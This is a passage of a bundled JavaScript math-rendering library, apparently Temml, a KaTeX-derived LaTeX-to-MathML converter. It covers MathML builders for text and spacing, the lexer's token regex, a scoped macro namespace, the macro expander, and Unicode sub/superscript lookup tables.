11177 node = new mathMLTree.MathNode("mrow", [node]);
11178 }
11179 }
11180 return node
11181 }
11182});
11183
11184defineFunctionBuilders({
11185 type: "textord",
11186 mathmlBuilder(group, style) {
11187 let ch = group.text;
11188 const codePoint = ch.codePointAt(0);
11189 if (style.fontFamily === "textsc") {
11190 // Convert small latin letters to small caps.
11191 if (96 < codePoint && codePoint < 123) {
11192 ch = smallCaps[ch];
11193 }
11194 }
11195 const text = makeText(ch, group.mode, style);
11196 const variant = getVariant(group, style) || "normal";
11197
11198 let node;
11199 if (numberRegEx.test(group.text)) {
11200 const tag = group.mode === "text" ? "mtext" : "mn";
11201 if (variant === "italic" || variant === "bold-italic") {
11202 return italicNumber(text, variant, tag)
11203 } else {
11204 if (variant !== "normal") {
11205 text.text = text.text.split("").map(c => variantChar(c, variant)).join("");
11206 }
11207 node = new mathMLTree.MathNode(tag, [text]);
11208 }
11209 } else if (group.mode === "text") {
11210 if (variant !== "normal") {
11211 text.text = variantChar(text.text, variant);
11212 }
11213 node = new mathMLTree.MathNode("mtext", [text]);
11214 } else if (primes.has(group.text)) {
11215 node = new mathMLTree.MathNode("mo", [text]);
11216 // TODO: If/when Chromium uses ssty variant for prime, remove the next line.
11217 node.classes.push("tml-prime");
11218 } else {
11219 const origText = text.text;
11220 if (variant !== "italic") {
11221 text.text = variantChar(text.text, variant);
11222 }
11223 node = new mathMLTree.MathNode("mi", [text]);
11224 if (text.text === origText && latinRegEx.test(origText)) {
11225 node.setAttribute("mathvariant", "italic");
11226 }
11227 }
11228 return node
11229 }
11230});
11231
11232// A map of CSS-based spacing functions to their CSS class.
11233const cssSpace = {
11234 "\\nobreak": "nobreak",
11235 "\\allowbreak": "allowbreak"
11236};
11237
11238// A lookup table to determine whether a spacing function/symbol should be
11239// treated like a regular space character. If a symbol or command is a key
11240// in this table, then it should be a regular space character. Furthermore,
11241// the associated value may have a `className` specifying an extra CSS class
11242// to add to the created `span`.
11243const regularSpace = {
11244 " ": {},
11245 "\\ ": {},
11246 "~": {
11247 className: "nobreak"
11248 },
11249 "\\space": {},
11250 "\\nobreakspace": {
11251 className: "nobreak"
11252 }
11253};
11254
11255// ParseNode<"spacing"> created in Parser.js from the "spacing" symbol Groups in
11256// src/symbols.js.
11257defineFunctionBuilders({
11258 type: "spacing",
11259 mathmlBuilder(group, style) {
11260 let node;
11261
11262 if (Object.prototype.hasOwnProperty.call(regularSpace, group.text)) {
11263 // Firefox does not render a space in a <mtext> </mtext>. So write a no-break space.
11264 // TODO: If Firefox fixes that bug, uncomment the next line and write ch into the node.
11265 //const ch = (regularSpace[group.text].className === "nobreak") ? "\u00a0" : " "
11266 node = new mathMLTree.MathNode("mtext", [new mathMLTree.TextNode("\u00a0")]);
11267 } else if (Object.prototype.hasOwnProperty.call(cssSpace, group.text)) {
11268 // MathML 3.0 calls for nobreak to occur in an <mo>, not an <mtext>
11269 // Ref: https://www.w3.org/Math/draft-spec/mathml.html#chapter3_presm.lbattrs
11270 node = new mathMLTree.MathNode("mo");
11271 if (group.text === "\\nobreak") {
11272 node.setAttribute("linebreak", "nobreak");
11273 }
11274 } else {
11275 throw new ParseError(`Unknown type of space "${group.text}"`)
11276 }
11277
11278 return node
11279 }
11280});
11281
11282defineFunctionBuilders({
11283 type: "tag"
11284});
11285
11286// For a \tag, the work usually done in a mathmlBuilder is instead done in buildMathML.js.
11287// That way, a \tag can be pulled out of the parse tree and wrapped around the outer node.
11288
11289// Non-mathy text, possibly in a font
11290const textFontFamilies = {
11291 "\\text": undefined,
11292 "\\textrm": "textrm",
11293 "\\textsf": "textsf",
11294 "\\texttt": "texttt",
11295 "\\textnormal": "textrm",
11296 "\\textsc": "textsc" // small caps
11297};
11298
11299const textFontWeights = {
11300 "\\textbf": "textbf",
11301 "\\textmd": "textmd"
11302};
11303
11304const textFontShapes = {
11305 "\\textit": "textit",
11306 "\\textup": "textup"
11307};
11308
11309const styleWithFont = (group, style) => {
11310 const font = group.font;
11311 // Checks if the argument is a font family or a font style.
11312 if (!font) {
11313 return style;
11314 } else if (textFontFamilies[font]) {
11315 return style.withTextFontFamily(textFontFamilies[font]);
11316 } else if (textFontWeights[font]) {
11317 return style.withTextFontWeight(textFontWeights[font]);
11318 } else if (font === "\\emph") {
11319 return style.fontShape === "textit"
11320 ? style.withTextFontShape("textup")
11321 : style.withTextFontShape("textit")
11322 }
11323 return style.withTextFontShape(textFontShapes[font])
11324};
11325
11326defineFunction({
11327 type: "text",
11328 names: [
11329 // Font families
11330 "\\text",
11331 "\\textrm",
11332 "\\textsf",
11333 "\\texttt",
11334 "\\textnormal",
11335 "\\textsc",
11336 // Font weights
11337 "\\textbf",
11338 "\\textmd",
11339 // Font Shapes
11340 "\\textit",
11341 "\\textup",
11342 "\\emph"
11343 ],
11344 props: {
11345 numArgs: 1,
11346 argTypes: ["text"],
11347 allowedInArgument: true,
11348 allowedInText: true
11349 },
11350 handler({ parser, funcName }, args) {
11351 const body = args[0];
11352 return {
11353 type: "text",
11354 mode: parser.mode,
11355 body: ordargument(body),
11356 font: funcName
11357 };
11358 },
11359 mathmlBuilder(group, style) {
11360 const newStyle = styleWithFont(group, style);
11361 const mrow = buildExpressionRow(group.body, newStyle);
11362 return consolidateText(mrow)
11363 }
11364});
11365
11366// \vcenter: Vertically center the argument group on the math axis.
11367
11368defineFunction({
11369 type: "vcenter",
11370 names: ["\\vcenter"],
11371 props: {
11372 numArgs: 1,
11373 argTypes: ["original"],
11374 allowedInText: false
11375 },
11376 handler({ parser }, args) {
11377 return {
11378 type: "vcenter",
11379 mode: parser.mode,
11380 body: args[0]
11381 };
11382 },
11383 mathmlBuilder(group, style) {
11384 // Use a math table to create vertically centered content.
11385 const mtd = new mathMLTree.MathNode("mtd", [buildGroup$1(group.body, style)]);
11386 mtd.style.padding = "0";
11387 const mtr = new mathMLTree.MathNode("mtr", [mtd]);
11388 return new mathMLTree.MathNode("mtable", [mtr])
11389 }
11390});
11391
11392defineFunction({
11393 type: "verb",
11394 names: ["\\verb"],
11395 props: {
11396 numArgs: 0,
11397 allowedInText: true
11398 },
11399 handler(context, args, optArgs) {
11400 // \verb and \verb* are dealt with directly in Parser.js.
11401 // If we end up here, it's because of a failure to match the two delimiters
11402 // in the regex in Lexer.js. LaTeX raises the following error when \verb is
11403 // terminated by end of line (or file).
11404 throw new ParseError("\\verb ended by end of line instead of matching delimiter");
11405 },
11406 mathmlBuilder(group, style) {
11407 const text = new mathMLTree.TextNode(makeVerb(group));
11408 const node = new mathMLTree.MathNode("mtext", [text]);
11409 node.setAttribute("mathvariant", "monospace");
11410 return node;
11411 }
11412});
11413
11414/**
11415 * Converts verb group into body string.
11416 *
11417 * \verb* replaces each space with an open box \u2423
11418 * \verb replaces each space with a no-break space \xA0
11419 */
11420const makeVerb = (group) => group.body.replace(/ /g, group.star ? "\u2423" : "\xA0");
11421
11422/** Include this to ensure that all functions are defined. */
11423
11424const functions = _functions;
11425
11426/**
11427 * The Lexer class handles tokenizing the input in various ways. Since our
11428 * parser expects us to be able to backtrack, the lexer allows lexing from any
11429 * given starting point.
11430 *
11431 * Its main exposed function is the `lex` function, which takes a position to
11432 * lex from and a type of token to lex. It defers to the appropriate `_innerLex`
11433 * function.
11434 *
11435 * The various `_innerLex` functions perform the actual lexing of different
11436 * kinds.
11437 */
11438
11439
11440/* The following tokenRegex
11441 * - matches typical whitespace (but not NBSP etc.) using its first two groups
11442 * - does not match any control character \x00-\x1f except whitespace
11443 * - does not match a bare backslash
11444 * - matches any ASCII character except those just mentioned
11445 * - does not match the BMP private use area \uE000-\uF8FF
11446 * - does not match bare surrogate code units
11447 * - matches any BMP character except for those just described
11448 * - matches any valid Unicode surrogate pair
11449 * - mathches numerals
11450 * - matches a backslash followed by one or more whitespace characters
11451 * - matches a backslash followed by one or more letters then whitespace
11452 * - matches a backslash followed by any BMP character
11453 * Capturing groups:
11454 * [1] regular whitespace
11455 * [2] backslash followed by whitespace
11456 * [3] anything else, which may include:
11457 * [4] left character of \verb*
11458 * [5] left character of \verb
11459 * [6] backslash followed by word, excluding any trailing whitespace
11460 * Just because the Lexer matches something doesn't mean it's valid input:
11461 * If there is no matching function or symbol definition, the Parser will
11462 * still reject the input.
11463 */
11464const spaceRegexString = "[ \r\n\t]";
11465const controlWordRegexString = "\\\\[a-zA-Z@]+";
11466const controlSymbolRegexString = "\\\\[^\uD800-\uDFFF]";
11467const controlWordWhitespaceRegexString = `(${controlWordRegexString})${spaceRegexString}*`;
11468const controlSpaceRegexString = "\\\\(\n|[ \r\t]+\n?)[ \r\t]*";
11469const combiningDiacriticalMarkString = "[\u0300-\u036f]";
11470const combiningDiacriticalMarksEndRegex = new RegExp(`${combiningDiacriticalMarkString}+$`);
11471const tokenRegexString =
11472 `(${spaceRegexString}+)|` + // whitespace
11473 `${controlSpaceRegexString}|` + // whitespace
11474 "([!-\\[\\]-\u2027\u202A-\uD7FF\uF900-\uFFFF]" + // single codepoint
11475 `${combiningDiacriticalMarkString}*` + // ...plus accents
11476 "|[\uD800-\uDBFF][\uDC00-\uDFFF]" + // surrogate pair
11477 `${combiningDiacriticalMarkString}*` + // ...plus accents
11478 "|\\\\verb\\*([^]).*?\\4" + // \verb*
11479 "|\\\\verb([^*a-zA-Z]).*?\\5" + // \verb unstarred
11480 `|${controlWordWhitespaceRegexString}` + // \macroName + spaces
11481 `|${controlSymbolRegexString})`; // \\, \', etc.
11482
11483/** Main Lexer class */
11484class Lexer {
11485 constructor(input, settings) {
11486 // Separate accents from characters
11487 this.input = input;
11488 this.settings = settings;
11489 this.tokenRegex = new RegExp(tokenRegexString, 'g');
11490 // Category codes. The lexer only supports comment characters (14) for now.
11491 // MacroExpander additionally distinguishes active (13).
11492 this.catcodes = {
11493 "%": 14, // comment character
11494 "~": 13 // active character
11495 };
11496 }
11497
11498 setCatcode(char, code) {
11499 this.catcodes[char] = code;
11500 }
11501
11502 /**
11503 * This function lexes a single token.
11504 */
11505 lex() {
11506 const input = this.input;
11507 const pos = this.tokenRegex.lastIndex;
11508 if (pos === input.length) {
11509 return new Token("EOF", new SourceLocation(this, pos, pos));
11510 }
11511 const match = this.tokenRegex.exec(input);
11512 if (match === null || match.index !== pos) {
11513 throw new ParseError(
11514 `Unexpected character: '${input[pos]}'`,
11515 new Token(input[pos], new SourceLocation(this, pos, pos + 1))
11516 );
11517 }
11518 const text = match[6] || match[3] || (match[2] ? "\\ " : " ");
11519
11520 if (this.catcodes[text] === 14) {
11521 // comment character
11522 const nlIndex = input.indexOf("\n", this.tokenRegex.lastIndex);
11523 if (nlIndex === -1) {
11524 this.tokenRegex.lastIndex = input.length; // EOF
11525 if (this.settings.strict) {
11526 throw new ParseError("% comment has no terminating newline; LaTeX would " +
11527 "fail because of commenting the end of math mode")
11528 }
11529 } else {
11530 this.tokenRegex.lastIndex = nlIndex + 1;
11531 }
11532 return this.lex();
11533 }
11534
11535 return new Token(text, new SourceLocation(this, pos, this.tokenRegex.lastIndex));
11536 }
11537}
11538
11539/**
11540 * A `Namespace` refers to a space of nameable things like macros or lengths,
11541 * which can be `set` either globally or local to a nested group, using an
11542 * undo stack similar to how TeX implements this functionality.
11543 * Performance-wise, `get` and local `set` take constant time, while global
11544 * `set` takes time proportional to the depth of group nesting.
11545 */
11546
11547
11548class Namespace {
11549 /**
11550 * Both arguments are optional. The first argument is an object of
11551 * built-in mappings which never change. The second argument is an object
11552 * of initial (global-level) mappings, which will constantly change
11553 * according to any global/top-level `set`s done.
11554 */
11555 constructor(builtins = {}, globalMacros = {}) {
11556 this.current = globalMacros;
11557 this.builtins = builtins;
11558 this.undefStack = [];
11559 }
11560
11561 /**
11562 * Start a new nested group, affecting future local `set`s.
11563 */
11564 beginGroup() {
11565 this.undefStack.push({});
11566 }
11567
11568 /**
11569 * End current nested group, restoring values before the group began.
11570 */
11571 endGroup() {
11572 if (this.undefStack.length === 0) {
11573 throw new ParseError(
11574 "Unbalanced namespace destruction: attempt " +
11575 "to pop global namespace; please report this as a bug"
11576 );
11577 }
11578 const undefs = this.undefStack.pop();
11579 for (const undef in undefs) {
11580 if (Object.prototype.hasOwnProperty.call(undefs, undef )) {
11581 if (undefs[undef] === undefined) {
11582 delete this.current[undef];
11583 } else {
11584 this.current[undef] = undefs[undef];
11585 }
11586 }
11587 }
11588 }
11589
11590 /**
11591 * Detect whether `name` has a definition. Equivalent to
11592 * `get(name) != null`.
11593 */
11594 has(name) {
11595 return Object.prototype.hasOwnProperty.call(this.current, name ) ||
11596 Object.prototype.hasOwnProperty.call(this.builtins, name );
11597 }
11598
11599 /**
11600 * Get the current value of a name, or `undefined` if there is no value.
11601 *
11602 * Note: Do not use `if (namespace.get(...))` to detect whether a macro
11603 * is defined, as the definition may be the empty string which evaluates
11604 * to `false` in JavaScript. Use `if (namespace.get(...) != null)` or
11605 * `if (namespace.has(...))`.
11606 */
11607 get(name) {
11608 if (Object.prototype.hasOwnProperty.call(this.current, name )) {
11609 return this.current[name];
11610 } else {
11611 return this.builtins[name];
11612 }
11613 }
11614
11615 /**
11616 * Set the current value of a name, and optionally set it globally too.
11617 * Local set() sets the current value and (when appropriate) adds an undo
11618 * operation to the undo stack. Global set() may change the undo
11619 * operation at every level, so takes time linear in their number.
11620 */
11621 set(name, value, global = false) {
11622 if (global) {
11623 // Global set is equivalent to setting in all groups. Simulate this
11624 // by destroying any undos currently scheduled for this name,
11625 // and adding an undo with the *new* value (in case it later gets
11626 // locally reset within this environment).
11627 for (let i = 0; i < this.undefStack.length; i++) {
11628 delete this.undefStack[i][name];
11629 }
11630 if (this.undefStack.length > 0) {
11631 this.undefStack[this.undefStack.length - 1][name] = value;
11632 }
11633 } else {
11634 // Undo this set at end of this group (possibly to `undefined`),
11635 // unless an undo is already in place, in which case that older
11636 // value is the correct one.
11637 const top = this.undefStack[this.undefStack.length - 1];
11638 if (top && !Object.prototype.hasOwnProperty.call(top, name )) {
11639 top[name] = this.current[name];
11640 }
11641 }
11642 this.current[name] = value;
11643 }
11644}
11645
11646/**
11647 * This file contains the “gullet” where macros are expanded
11648 * until only non-macro tokens remain.
11649 */
11650
11651
11652// List of commands that act like macros but aren't defined as a macro,
11653// function, or symbol. Used in `isDefined`.
11654const implicitCommands = {
11655 "^": true, // Parser.js
11656 _: true, // Parser.js
11657 "\\limits": true, // Parser.js
11658 "\\nolimits": true // Parser.js
11659};
11660
11661class MacroExpander {
11662 constructor(input, settings, mode) {
11663 this.settings = settings;
11664 this.expansionCount = 0;
11665 this.feed(input);
11666 // Make new global namespace
11667 this.macros = new Namespace(macros, settings.macros);
11668 this.mode = mode;
11669 this.stack = []; // contains tokens in REVERSE order
11670 }
11671
11672 /**
11673 * Feed a new input string to the same MacroExpander
11674 * (with existing macros etc.).
11675 */
11676 feed(input) {
11677 this.lexer = new Lexer(input, this.settings);
11678 }
11679
11680 /**
11681 * Switches between "text" and "math" modes.
11682 */
11683 switchMode(newMode) {
11684 this.mode = newMode;
11685 }
11686
11687 /**
11688 * Start a new group nesting within all namespaces.
11689 */
11690 beginGroup() {
11691 this.macros.beginGroup();
11692 }
11693
11694 /**
11695 * End current group nesting within all namespaces.
11696 */
11697 endGroup() {
11698 this.macros.endGroup();
11699 }
11700
11701 /**
11702 * Returns the topmost token on the stack, without expanding it.
11703 * Similar in behavior to TeX's `\futurelet`.
11704 */
11705 future() {
11706 if (this.stack.length === 0) {
11707 this.pushToken(this.lexer.lex());
11708 }
11709 return this.stack[this.stack.length - 1]
11710 }
11711
11712 /**
11713 * Remove and return the next unexpanded token.
11714 */
11715 popToken() {
11716 this.future(); // ensure non-empty stack
11717 return this.stack.pop();
11718 }
11719
11720 /**
11721 * Add a given token to the token stack. In particular, this get be used
11722 * to put back a token returned from one of the other methods.
11723 */
11724 pushToken(token) {
11725 this.stack.push(token);
11726 }
11727
11728 /**
11729 * Append an array of tokens to the token stack.
11730 */
11731 pushTokens(tokens) {
11732 this.stack.push(...tokens);
11733 }
11734
11735 /**
11736 * Find an macro argument without expanding tokens and append the array of
11737 * tokens to the token stack. Uses Token as a container for the result.
11738 */
11739 scanArgument(isOptional) {
11740 let start;
11741 let end;
11742 let tokens;
11743 if (isOptional) {
11744 this.consumeSpaces(); // \@ifnextchar gobbles any space following it
11745 if (this.future().text !== "[") {
11746 return null;
11747 }
11748 start = this.popToken(); // don't include [ in tokens
11749 ({ tokens, end } = this.consumeArg(["]"]));
11750 } else {
11751 ({ tokens, start, end } = this.consumeArg());
11752 }
11753
11754 // indicate the end of an argument
11755 this.pushToken(new Token("EOF", end.loc));
11756
11757 this.pushTokens(tokens);
11758 return start.range(end, "");
11759 }
11760
11761 /**
11762 * Consume all following space tokens, without expansion.
11763 */
11764 consumeSpaces() {
11765 for (;;) {
11766 const token = this.future();
11767 if (token.text === " ") {
11768 this.stack.pop();
11769 } else {
11770 break;
11771 }
11772 }
11773 }
11774
11775 /**
11776 * Consume an argument from the token stream, and return the resulting array
11777 * of tokens and start/end token.
11778 */
11779 consumeArg(delims) {
11780 // The argument for a delimited parameter is the shortest (possibly
11781 // empty) sequence of tokens with properly nested {...} groups that is
11782 // followed ... by this particular list of non-parameter tokens.
11783 // The argument for an undelimited parameter is the next nonblank
11784 // token, unless that token is ‘{’, when the argument will be the
11785 // entire {...} group that follows.
11786 const tokens = [];
11787 const isDelimited = delims && delims.length > 0;
11788 if (!isDelimited) {
11789 // Ignore spaces between arguments. As the TeXbook says:
11790 // "After you have said ‘\def\row#1#2{...}’, you are allowed to
11791 // put spaces between the arguments (e.g., ‘\row x n’), because
11792 // TeX doesn’t use single spaces as undelimited arguments."
11793 this.consumeSpaces();
11794 }
11795 const start = this.future();
11796 let tok;
11797 let depth = 0;
11798 let match = 0;
11799 do {
11800 tok = this.popToken();
11801 tokens.push(tok);
11802 if (tok.text === "{") {
11803 ++depth;
11804 } else if (tok.text === "}") {
11805 --depth;
11806 if (depth === -1) {
11807 throw new ParseError("Extra }", tok);
11808 }
11809 } else if (tok.text === "EOF") {
11810 throw new ParseError(
11811 "Unexpected end of input in a macro argument" +
11812 ", expected '" +
11813 (delims && isDelimited ? delims[match] : "}") +
11814 "'",
11815 tok
11816 );
11817 }
11818 if (delims && isDelimited) {
11819 if ((depth === 0 || (depth === 1 && delims[match] === "{")) && tok.text === delims[match]) {
11820 ++match;
11821 if (match === delims.length) {
11822 // don't include delims in tokens
11823 tokens.splice(-match, match);
11824 break;
11825 }
11826 } else {
11827 match = 0;
11828 }
11829 }
11830 } while (depth !== 0 || isDelimited);
11831 // If the argument found ... has the form ‘{<nested tokens>}’,
11832 // ... the outermost braces enclosing the argument are removed
11833 if (start.text === "{" && tokens[tokens.length - 1].text === "}") {
11834 tokens.pop();
11835 tokens.shift();
11836 }
11837 tokens.reverse(); // to fit in with stack order
11838 return { tokens, start, end: tok };
11839 }
11840
11841 /**
11842 * Consume the specified number of (delimited) arguments from the token
11843 * stream and return the resulting array of arguments.
11844 */
11845 consumeArgs(numArgs, delimiters) {
11846 if (delimiters) {
11847 if (delimiters.length !== numArgs + 1) {
11848 throw new ParseError("The length of delimiters doesn't match the number of args!");
11849 }
11850 const delims = delimiters[0];
11851 for (let i = 0; i < delims.length; i++) {
11852 const tok = this.popToken();
11853 if (delims[i] !== tok.text) {
11854 throw new ParseError("Use of the macro doesn't match its definition", tok);
11855 }
11856 }
11857 }
11858
11859 const args = [];
11860 for (let i = 0; i < numArgs; i++) {
11861 args.push(this.consumeArg(delimiters && delimiters[i + 1]).tokens);
11862 }
11863 return args;
11864 }
11865
11866 /**
11867 * Expand the next token only once if possible.
11868 *
11869 * If the token is expanded, the resulting tokens will be pushed onto
11870 * the stack in reverse order, and the number of such tokens will be
11871 * returned. This number might be zero or positive.
11872 *
11873 * If not, the return value is `false`, and the next token remains at the
11874 * top of the stack.
11875 *
11876 * In either case, the next token will be on the top of the stack,
11877 * or the stack will be empty (in case of empty expansion
11878 * and no other tokens).
11879 *
11880 * Used to implement `expandAfterFuture` and `expandNextToken`.
11881 *
11882 * If expandableOnly, only expandable tokens are expanded and
11883 * an undefined control sequence results in an error.
11884 */
11885 expandOnce(expandableOnly) {
11886 const topToken = this.popToken();
11887 const name = topToken.text;
11888 const expansion = !topToken.noexpand ? this._getExpansion(name) : null;
11889 if (expansion == null || (expandableOnly && expansion.unexpandable)) {
11890 if (expandableOnly && expansion == null && name[0] === "\\" && !this.isDefined(name)) {
11891 throw new ParseError("Undefined control sequence: " + name);
11892 }
11893 this.pushToken(topToken);
11894 return false;
11895 }
11896 this.expansionCount++;
11897 if (this.expansionCount > this.settings.maxExpand) {
11898 throw new ParseError(
11899 "Too many expansions: infinite loop or " + "need to increase maxExpand setting"
11900 );
11901 }
11902 let tokens = expansion.tokens;
11903 const args = this.consumeArgs(expansion.numArgs, expansion.delimiters);
11904 if (expansion.numArgs) {
11905 // paste arguments in place of the placeholders
11906 tokens = tokens.slice(); // make a shallow copy
11907 for (let i = tokens.length - 1; i >= 0; --i) {
11908 let tok = tokens[i];
11909 if (tok.text === "#") {
11910 if (i === 0) {
11911 throw new ParseError("Incomplete placeholder at end of macro body", tok);
11912 }
11913 tok = tokens[--i]; // next token on stack
11914 if (tok.text === "#") {
11915 // ## → #
11916 tokens.splice(i + 1, 1); // drop first #
11917 } else if (/^[1-9]$/.test(tok.text)) {
11918 // replace the placeholder with the indicated argument
11919 tokens.splice(i, 2, ...args[+tok.text - 1]);
11920 } else {
11921 throw new ParseError("Not a valid argument number", tok);
11922 }
11923 }
11924 }
11925 }
11926 // Concatenate expansion onto top of stack.
11927 this.pushTokens(tokens);
11928 return tokens.length;
11929 }
11930
11931 /**
11932 * Expand the next token only once (if possible), and return the resulting
11933 * top token on the stack (without removing anything from the stack).
11934 * Similar in behavior to TeX's `\expandafter\futurelet`.
11935 * Equivalent to expandOnce() followed by future().
11936 */
11937 expandAfterFuture() {
11938 this.expandOnce();
11939 return this.future();
11940 }
11941
11942 /**
11943 * Recursively expand first token, then return first non-expandable token.
11944 */
11945 expandNextToken() {
11946 for (;;) {
11947 if (this.expandOnce() === false) { // fully expanded
11948 const token = this.stack.pop();
11949 // The token after \noexpand is interpreted as if its meaning were ‘\relax’
11950 if (token.treatAsRelax) {
11951 token.text = "\\relax";
11952 }
11953 return token
11954 }
11955 }
11956
11957 // This pathway is impossible.
11958 throw new Error(); // eslint-disable-line no-unreachable
11959 }
11960
11961 /**
11962 * Fully expand the given macro name and return the resulting list of
11963 * tokens, or return `undefined` if no such macro is defined.
11964 */
11965 expandMacro(name) {
11966 return this.macros.has(name) ? this.expandTokens([new Token(name)]) : undefined;
11967 }
11968
11969 /**
11970 * Fully expand the given token stream and return the resulting list of
11971 * tokens. Note that the input tokens are in reverse order, but the
11972 * output tokens are in forward order.
11973 */
11974 expandTokens(tokens) {
11975 const output = [];
11976 const oldStackLength = this.stack.length;
11977 this.pushTokens(tokens);
11978 while (this.stack.length > oldStackLength) {
11979 // Expand only expandable tokens
11980 if (this.expandOnce(true) === false) { // fully expanded
11981 const token = this.stack.pop();
11982 if (token.treatAsRelax) {
11983 // the expansion of \noexpand is the token itself
11984 token.noexpand = false;
11985 token.treatAsRelax = false;
11986 }
11987 output.push(token);
11988 }
11989 }
11990 return output;
11991 }
11992
11993 /**
11994 * Fully expand the given macro name and return the result as a string,
11995 * or return `undefined` if no such macro is defined.
11996 */
11997 expandMacroAsText(name) {
11998 const tokens = this.expandMacro(name);
11999 if (tokens) {
12000 return tokens.map((token) => token.text).join("");
12001 } else {
12002 return tokens;
12003 }
12004 }
12005
12006 /**
12007 * Returns the expanded macro as a reversed array of tokens and a macro
12008 * argument count. Or returns `null` if no such macro.
12009 */
12010 _getExpansion(name) {
12011 const definition = this.macros.get(name);
12012 if (definition == null) {
12013 // mainly checking for undefined here
12014 return definition;
12015 }
12016 // If a single character has an associated catcode other than 13
12017 // (active character), then don't expand it.
12018 if (name.length === 1) {
12019 const catcode = this.lexer.catcodes[name];
12020 if (catcode != null && catcode !== 13) {
12021 return
12022 }
12023 }
12024 const expansion = typeof definition === "function" ? definition(this) : definition;
12025 if (typeof expansion === "string") {
12026 let numArgs = 0;
12027 if (expansion.indexOf("#") !== -1) {
12028 const stripped = expansion.replace(/##/g, "");
12029 while (stripped.indexOf("#" + (numArgs + 1)) !== -1) {
12030 ++numArgs;
12031 }
12032 }
12033 const bodyLexer = new Lexer(expansion, this.settings);
12034 const tokens = [];
12035 let tok = bodyLexer.lex();
12036 while (tok.text !== "EOF") {
12037 tokens.push(tok);
12038 tok = bodyLexer.lex();
12039 }
12040 tokens.reverse(); // to fit in with stack using push and pop
12041 const expanded = { tokens, numArgs };
12042 return expanded;
12043 }
12044
12045 return expansion;
12046 }
12047
12048 /**
12049 * Determine whether a command is currently "defined" (has some
12050 * functionality), meaning that it's a macro (in the current group),
12051 * a function, a symbol, or one of the special commands listed in
12052 * `implicitCommands`.
12053 */
12054 isDefined(name) {
12055 return (
12056 this.macros.has(name) ||
12057 Object.prototype.hasOwnProperty.call(functions, name ) ||
12058 Object.prototype.hasOwnProperty.call(symbols.math, name ) ||
12059 Object.prototype.hasOwnProperty.call(symbols.text, name ) ||
12060 Object.prototype.hasOwnProperty.call(implicitCommands, name )
12061 );
12062 }
12063
12064 /**
12065 * Determine whether a command is expandable.
12066 */
12067 isExpandable(name) {
12068 const macro = this.macros.get(name);
12069 return macro != null
12070 ? typeof macro === "string" || typeof macro === "function" || !macro.unexpandable
12071 : Object.prototype.hasOwnProperty.call(functions, name ) && !functions[name].primitive;
12072 }
12073}
12074
12075// Helpers for Parser.js handling of Unicode (sub|super)script characters.
12076
12077const unicodeSubRegEx = /^[₊₋₌₍₎₀₁₂₃₄₅₆₇₈₉ₐₑₕᵢⱼₖₗₘₙₒₚᵣₛₜᵤᵥₓᵦᵧᵨᵩᵪ]/;
12078
12079const uSubsAndSups = Object.freeze({
12080 '₊': '+',
12081 '₋': '-',
12082 '₌': '=',
12083 '₍': '(',
12084 '₎': ')',
12085 '₀': '0',
12086 '₁': '1',
12087 '₂': '2',
12088 '₃': '3',
12089 '₄': '4',
12090 '₅': '5',
12091 '₆': '6',
12092 '₇': '7',
12093 '₈': '8',
12094 '₉': '9',
12095 '\u2090': 'a',
12096 '\u2091': 'e',
12097 '\u2095': 'h',
12098 '\u1D62': 'i',
12099 '\u2C7C': 'j',
12100 '\u2096': 'k',
12101 '\u2097': 'l',
12102 '\u2098': 'm',
12103 '\u2099': 'n',
12104 '\u2092': 'o',
12105 '\u209A': 'p',
12106 '\u1D63': 'r',
12107 '\u209B': 's',
12108 '\u209C': 't',
12109 '\u1D64': 'u',
12110 '\u1D65': 'v',
12111 '\u2093': 'x',
12112 '\u1D66': 'β',
12113 '\u1D67': 'γ',
12114 '\u1D68': 'ρ',
12115 '\u1D69': '\u03d5',
12116 '\u1D6A': 'χ',
12117 '⁺': '+',
12118 '⁻': '-',
12119 '⁼': '=',
12120 '⁽': '(',
12121 '⁾': ')',
12122 '⁰': '0',
12123 '¹': '1',
12124 '²': '2',
12125 '³': '3',
12126 '⁴': '4',
12127 '⁵': '5',
12128 '⁶': '6',
12129 '⁷': '7',
12130 '⁸': '8',
12131 '⁹': '9',
12132 '\u1D2C': 'A',
12133 '\u1D2E': 'B',
12134 '\u1D30': 'D',
12135 '\u1D31': 'E',
12136 '\u1D33': 'G',
12137 '\u1D34': 'H',
12138 '\u1D35': 'I',
12139 '\u1D36': 'J',
12140 '\u1D37': 'K',
12141 '\u1D38': 'L',
12142 '\u1D39': 'M',
12143 '\u1D3A': 'N',
12144 '\u1D3C': 'O',
12145 '\u1D3E': 'P',
12146 '\u1D3F': 'R',
12147 '\u1D40': 'T',
12148 '\u1D41': 'U',
12149 '\u2C7D': 'V',
12150 '\u1D42': 'W',
12151 '\u1D43': 'a',
12152 '\u1D47': 'b',
12153 '\u1D9C': 'c',
12154 '\u1D48': 'd',
12155 '\u1D49': 'e',
12156 '\u1DA0': 'f',
12157 '\u1D4D': 'g',
12158 '\u02B0': 'h',
12159 '\u2071': 'i',
12160 '\u02B2': 'j',
12161 '\u1D4F': 'k',
12162 '\u02E1': 'l',
12163 '\u1D50': 'm',
12164 '\u207F': 'n',
12165 '\u1D52': 'o',
12166 '\u1D56': 'p',
12167 '\u02B3': 'r',
12168 '\u02E2': 's',
12169 '\u1D57': 't',
12170 '\u1D58': 'u',
12171 '\u1D5B': 'v',
12172 '\u02B7': 'w',
12173 '\u02E3': 'x',
12174 '\u02B8': 'y',
12175 '\u1DBB': 'z',
12176 '\u1D5D': 'β',
12177 '\u1D5E': 'γ',
12178 '\u1D5F': 'δ',
12179 '\u1D60': '\u03d5',
12180 '\u1D61': 'χ',
12181 '\u1DBF': 'θ'
12182});
12183
12184// Used for Unicode input of calligraphic and script letters
12185const asciiFromScript = Object.freeze({
12186 "\ud835\udc9c": "A",
12187 "\u212c": "B",
12188 "\ud835\udc9e": "C",
12189 "\ud835\udc9f": "D",
12190 "\u2130": "E",
12191 "\u2131": "F",
12192 "\ud835\udca2": "G",
12193 "\u210B": "H",
12194 "\u2110": "I",
12195 "\ud835\udca5": "J",
12196 "\ud835\udca6": "K",
12197 "\u2112": "L",
12198 "\u2133": "M",
12199 "\ud835\udca9": "N",
12200 "\ud835\udcaa": "O",
12201 "\ud835\udcab": "P",
12202 "\ud835\udcac": "Q",
12203 "\u211B": "R",
12204 "\ud835\udcae": "S",
12205 "\ud835\udcaf": "T",
12206 "\ud835\udcb0": "U",
12207 "\ud835\udcb1": "V",
12208 "\ud835\udcb2": "W",
12209 "\ud835\udcb3": "X",
12210 "\ud835\udcb4": "Y",
12211 "\ud835\udcb5": "Z"
12212});
12213
12214// Mapping of Unicode accent characters to their LaTeX equivalent in text and
